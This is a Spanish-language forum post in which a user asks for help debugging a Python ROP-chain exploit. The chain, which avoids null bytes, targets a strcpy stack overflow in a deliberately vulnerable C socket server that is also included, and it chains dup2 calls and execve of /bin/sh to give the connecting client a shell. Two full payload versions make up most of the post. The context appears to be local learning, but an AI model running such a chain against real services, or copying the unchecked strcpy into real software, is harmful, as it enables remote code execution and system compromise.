Explotación en sistemas Linux
soez
 
Mensajes: 18
Registrado: Jue Mar 28, 2013 10:57 am

Error con dup2()

por soez Vie Abr 18, 2014 6:32 pm

Buenas, tengo este payload a base de rops, intento obtener shell desde mi ip (todo localmente) pero no me llega nada. La shell la obtengo del lado del servidor pero del cliente nada. Hago los rops de esta manera porque el overflow está con strcpy y no admite bytes nulos.

Código: Seleccionar todo
from struct import *

payload = "A"*140
# payload += "B"*4
payload += pack("<I", 0xB7EDA7B1) # ret ;; base + 0x797b1
# base libc.so.6 0xb7e61000
# /bin/sh
# --------------------------------# dup2() // 4 Descriptor del cliente
# dup2(4, 0)
payload += pack("<I", 0xb7edaf29) # pop esi ;; 0xb7fe2000 + 0x174d9
payload += pack("<I", 0xffffffff) # -1
payload += pack("<I", 0xB7F5AA9B) # inc esi ; or bl ch ;; base + 0xf9a9b
payload += pack("<I", 0xB7E9D98E) # xor eax eax ;; base + 0x3c98e
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7E9DB1A) # inc eax ;; base + 0x3cb1a
payload += pack("<I", 0xB7F2B8E5) # xchg edi eax ;; 0xca8e5
payload += pack("<I", 0xB7E9D98E) # xor eax eax ;; base + 0x3c98e
payload += pack("<I", 0xB7EA5F44) # add eax 0x30 ; pop ebp ;; base + 0x44f44
payload += pack("<I", 0x42424242) # padding
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xb7fE2820) # int $0x80
# dup2(4, 1)
payload += pack("<I", 0xb7edaf29) # pop esi ;; 0xb7fe2000 + 0x174d9
payload += pack("<I", 0xffffffff) # -1
payload += pack("<I", 0xB7F5AA9B) # inc esi ; or bl ch ;; base + 0xf9a9b
payload += pack("<I", 0xB7F5AA9B) # inc esi ; or bl ch ;; base + 0xf9a9b
payload += pack("<I", 0xB7E9D98E) # xor eax eax ;; base + 0x3c98e
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7E9DB1A) # inc eax ;; base + 0x3cb1a
payload += pack("<I", 0xB7F2B8E5) # xchg edi eax ;; 0xca8e5
payload += pack("<I", 0xB7E9D98E) # xor eax eax ;; base + 0x3c98e
payload += pack("<I", 0xB7EA5F44) # add eax 0x30 ; pop ebp ;; base + 0x44f44
payload += pack("<I", 0x42424242) # padding
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xb7fE2820) # int $0x80
# dup2(4, 2)
payload += pack("<I", 0xb7edaf29) # pop esi ;; 0xb7fe2000 + 0x174d9
payload += pack("<I", 0xffffffff) # -1
payload += pack("<I", 0xB7F5AA9B) # inc esi ; or bl ch ;; base + 0xf9a9b
payload += pack("<I", 0xB7F5AA9B) # inc esi ; or bl ch ;; base + 0xf9a9b
payload += pack("<I", 0xB7F5AA9B) # inc esi ; or bl ch ;; base + 0xf9a9b
payload += pack("<I", 0xB7E9D98E) # xor eax eax ;; base + 0x3c98e
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7E9DB1A) # inc eax ;; base + 0x3cb1a
payload += pack("<I", 0xB7F2B8E5) # xchg edi eax ;; 0xca8e5
payload += pack("<I", 0xB7E9D98E) # xor eax eax ;; base + 0x3c98e
payload += pack("<I", 0xB7EA5F44) # add eax 0x30 ; pop ebp ;; base + 0x44f44
payload += pack("<I", 0x42424242) # padding
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xb7fE2820) # int $0x80
#---------------------------------# /bin/sh
payload += pack("<I", 0xB7E62AA6) # pop edx ;; base + 0x1aa6
payload += pack("<I", 0xB7FC19A0) # @ .data
payload += pack("<I", 0xB7E81AEC) # pop eax ;; base + 0x20aec
payload += "/bin"
payload += pack("<I", 0xB7EF3AFE) # mov [edx] eax ; pop ebp ;; base + 0x92afe
payload += pack("<I", 0x41414141) # padding
payload += pack("<I", 0xB7E62AA6) # pop edx ;; base + 0x1aa6
payload += pack("<I", 0xB7FC19A4) # @ .data + 4
payload += pack("<I", 0xB7E81AEC) # pop eax ;; base + 0x20aec
payload += "//sh"
payload += pack("<I", 0xB7EF3AFE) # mov [edx] eax ; pop ebp ;; base + 0x92afe
payload += pack("<I", 0x41414141) # padding
payload += pack("<I", 0xB7E62AA6) # pop edx ;; base + 0x1aa6
payload += pack("<I", 0xB7FC19A8) # @ .data + 8
payload += pack("<I", 0xB7E9D98E) # xor eax eax ;; base + 0x3c98e
payload += pack("<I", 0xB7EF3AFE) # mov [edx] eax ; pop ebp ;; base + 0x92afe
payload += pack("<I", 0x41414141) # padding
payload += pack("<I", 0xB7ED9BE4) # pop ebx ;; base + 0x78be4
payload += pack("<I", 0xB7FC19A0) # @ .data
payload += pack("<I", 0xB7F3B4F0) # pop ecx ; pop eax ;; base + 0xda4f0
payload += pack("<I", 0xB7FC19A8) # @ .data + 8
payload += pack("<I", 0x42424242) # padding
payload += pack("<I", 0xB7E62AA6) # pop edx ;; base + 0x1aa6
payload += pack("<I", 0xB7FC19A8) # @ .data + 8
payload += pack("<I", 0xB7E9D98E) # xor eax eax ;; base + 0x3c98e
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7EDB64D) # inc eax ; inc eax ; inc eax ;; base + 0x7a64d
payload += pack("<I", 0xB7E9D9FB) # inc eax ; inc eax ;; base + 0x3c9fb
payload += pack("<I", 0xb7fE2820) # int $0x80

print payload


Lo veis correcto o falla algo? Gracias de antemano.

El código vulnerable es este.

Código: Seleccionar todo
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 3500
#define BACKLOG 2

int checkPassword(char *cpPassword) {
   char caPassword[128];
   strcpy(caPassword, cpPassword);
   return 0;
}

int main (int argc, char *argv[]) {
   int fd, fd2;
   struct sockaddr_in server;
   struct sockaddr_in client;
   int sin_size;
   char buf[1024] = "";

   if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == 1) {
      printf("Error en socket\n");
      exit(-1);
   }

   server.sin_family = AF_INET;
   server.sin_port = htons(PORT);
   server.sin_addr.s_addr = htonl(INADDR_ANY);    
   bzero(&(server.sin_zero), 8);
 
   if (bind(fd, (struct sockaddr *) &server, sizeof(struct sockaddr)) == -1) {
      printf("Error en bind\n");
      exit(-1);
   }

   if (listen(fd, BACKLOG) == -1) {
      printf("Error en listen\n" );
      exit(-1);
   }

   while (1) {
      sin_size = sizeof(struct sockaddr_in);
      if ((fd2 = accept(fd,(struct sockaddr *) &client, &sin_size)) == -1) {
         printf("error en accept n");
         exit(-1);
      }

      printf("Descriptor: %08x\n", fd2);
      printf("Conexion desde %s\n", inet_ntoa(client.sin_addr));
      recv(fd2, buf, sizeof(buf), 0);
      send(fd2, "Bienvenido!!!", 26, 0);
      printf("Se ha recibido la fruta %s\n", buf);
      checkPassword(buf);
   }

   return 0;
}


EDIT: El descriptor tenia que ir en ECX y el segundo argumento en EBX pero sigue sin funcarme..

Código: Seleccionar todo
from struct import *

payload = "A"*140
# payload += "B"*4
# base libc.so.6 0xb7e61000
base = 0xb7e61000
payload += pack("<I", base + 0x797b1) # ret ;; 
# ------------------------------------# dup2() // EBX = 4 Descriptor del cliente, ECX = 0,1,2
# dup2(4, 2)
payload += pack("<I", base + 0x78be4) # pop ebx ;;
payload += pack("<I", 0xffffffff)     # -1
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x20aec) # pop eax ;;
payload += pack("<I", 0xffffffff)     # -1
payload += pack("<I", base + 0xc94ec) # neg eax ;;
payload += pack("<I", base + 0x23a5e) # inc eax ;;
payload += pack("<I", base + 0x2b31e) # xchg ecx eax ; setnz al ; movzx eax al ;;
payload += pack("<I", base + 0x3c98e) # xor eax eax ;;
payload += pack("<I", base + 0x44f44) # add eax 0x30 ; pop ebp ;;
payload += pack("<I", 0x42424242)     # padding
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", 0xb7fE2820)     # int $0x80
# dup2(4, 1)
payload += pack("<I", base + 0x78be4) # pop ebx ;;
payload += pack("<I", 0xffffffff)     # -1
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x20aec) # pop eax ;;
payload += pack("<I", 0xffffffff)     # -1
payload += pack("<I", base + 0xc94ec) # neg eax ;;
payload += pack("<I", base + 0x2b31e) # xchg ecx eax ; setnz al ; movzx eax al ;;
payload += pack("<I", base + 0x3c98e) # xor eax eax ;;
payload += pack("<I", base + 0x44f44) # add eax 0x30 ; pop ebp ;;
payload += pack("<I", 0x42424242)     # padding
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", 0xb7fE2820)     # int $0x80
# dup2(4, 0)
payload += pack("<I", base + 0x78be4) # pop ebx ;;
payload += pack("<I", 0xffffffff)     # -1
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x385c)  # inc ebx ;;
payload += pack("<I", base + 0x20aec) # pop eax ;;
payload += pack("<I", 0xffffffff)     # -1
payload += pack("<I", base + 0x23a5e) # inc eax ;;
payload += pack("<I", base + 0x2b31e) # xchg ecx eax ; setnz al ; movzx eax al ;;
payload += pack("<I", base + 0x3c98e) # xor eax eax ;;
payload += pack("<I", base + 0x44f44) # add eax 0x30 ; pop ebp ;;
payload += pack("<I", 0x42424242)     # padding
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", 0xb7fE2820)     # int $0x80
#-------------------------------------# /bin/sh
payload += pack("<I", base + 0x1aa6)  # pop edx ;;
payload += pack("<I", 0xB7FC19A0)     # @ .data
payload += pack("<I", base + 0x20aec) # pop eax ;;
payload += "/bin"
payload += pack("<I", base + 0x92afe) # mov [edx] eax ; pop ebp ;;
payload += pack("<I", 0x42424242)     # padding
payload += pack("<I", base + 0x1aa6)  # pop edx ;;
payload += pack("<I", 0xB7FC19A4)     # @ .data + 4
payload += pack("<I", base + 0x20aec) # pop eax ;;
payload += "//sh"
payload += pack("<I", base + 0x92afe) # mov [edx] eax ; pop ebp ;;
payload += pack("<I", 0x42424242)     # padding
payload += pack("<I", base + 0x1aa6)  # pop edx ;;
payload += pack("<I", 0xB7FC19A8)     # @ .data + 8
payload += pack("<I", base + 0x3c98e) # xor eax eax ;;
payload += pack("<I", base + 0x92afe) # mov [edx] eax ; pop ebp ;;
payload += pack("<I", 0x41414141)     # padding
payload += pack("<I", base + 0x78be4) # pop ebx ;;
payload += pack("<I", 0xB7FC19A0)     # @ .data
payload += pack("<I", base + 0xda4f0) # pop ecx ; pop eax ;;
payload += pack("<I", 0xB7FC19A8)     # @ .data + 8
payload += pack("<I", 0x42424242)     # padding
payload += pack("<I", base + 0x1aa6)  # pop edx ;;
payload += pack("<I", 0xB7FC19A8)     # @ .data + 8
payload += pack("<I", base + 0x3c98e) # xor eax eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x7a64d) # inc eax ; inc eax ; inc eax ;;
payload += pack("<I", base + 0x3c9fb) # inc eax ; inc eax ;;
payload += pack("<I", 0xb7fE2820)     # int $0x80

print payload


gdb me dice esto .. process <pid> is executing new program: /bin/dash .. pero nunca llega a ejecutarse.
Volver a Linux

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado